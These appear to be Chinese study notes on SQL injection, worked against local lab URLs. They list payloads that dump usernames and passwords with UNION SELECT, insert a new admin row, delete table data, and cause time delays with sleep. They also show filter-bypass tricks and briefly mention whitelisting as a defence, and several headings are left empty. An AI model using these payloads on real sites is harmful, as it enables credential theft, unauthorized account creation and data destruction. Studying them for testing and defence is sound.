|
1.SQL注入攻击是开发者在开发程序时,对客户输入的参数过滤不严格,导致用户能更改数据库。 一.数字型注入: 1.访问链接http://192.168.20.133/sqll.php?id=2的页面和http://192.168.20.133/sqll.php?id=3-1的页面一样,可以说明这个注入点是数字型注入。表现为源码输入点“$_GET['id']”附近没有引号包裹。 2.链接模板:http://192.168.20.133/sqll.php?id=1 union select user,pwd from wp_user 3.limit 1,1:条件限定,作用是查询结果第二条记录后的1条记录。 二.字符型注入: 1.访问http://192.168.20.133/sql2.php?id=3-1的页面为空,猜测不是字符型,继续访问http://192.168.20.133/sql2.php?id=2a,有页面,说明是字符型注入。 2.空格的编码是“%20”,“'”的编码是“%27”,“#”的编码是“%23”。 3.访问http://192.168.20.133/sqll.php?id=1%27%23的sql语句是id = '1'#',后面的操作就与数字型注入一样了。 4.where是select操作的一个判断条件,1' and '1 相当与sql语句的'1' and '1' 5.布尔盲注:通过注入来推测出数据 三.报错注入: 四注入点: (一)、select:用于数据表记录的查询 2.注入点在select的后面:http://192.168.20.133/sqln1.php?id=(select pwd from wp_user) as title 3.注入点在表名之后:http://192.168.20.133/sqln1.php?id=select title from (select pwd AS title from wp_user)x 4.如果注入点有反引号要先闭合反引号 5.注入点在where或having后:先判断有无引号包裹,有的话注释掉,没有的话直接注入 6.注入点在GROUP BY或者ORDER BY后:title=id desc,(if(1,sleep(1),1))会让页面迟1秒 7.sql注入攻击之所以存在,是因为开发者在编写系统框架时,无法使用预编译的办法处理这类参数;只要对输入的值进行白名单比对,就可以预防大部分的sql攻击。 8.注入点在limit之后: (二)、insert:插入数据表的sql语句 1.注入字段名或字段值的地方,且没有回显信息。 2.注入点位于tbl_name之后:http://192.168.20.133/insert.php?table=wp_user values(2,'newadmin','newpass')%23,成功插入一个新的管理员 3.注入点位于VALUES: (三)、update:数据库记录的更新。 2.update语句: 1.update wp_user set id=3 where user ='23'; 2.update wp_user set id=3, user='xxx' where user ='23'; 1.delete:删除某个表的全部或指定行的数据,注入点通常在where。 delete语句:1.delete from wp_news where id=1 or 1; 2.delete from wp_news where id=1 and sleep(1); 五.注入与防御: 1.可以代替空白符的有:%0a、%0b、%0c、%0d、%09、%a0(在特定字符集才可以使用)和/**/、()等 2.将select替换为空:可以用嵌套的方式,例如seselectlect形式,过滤后为select。可以用大小写的方式"sEleCt"。 select语句:http://192.168.20.132/replace.php?id=-1%09union%09seselectlect%091,2 3.正则匹配: 4.替换了单引号或双引号,忘记了反斜杠: 5.逃逸引号:
|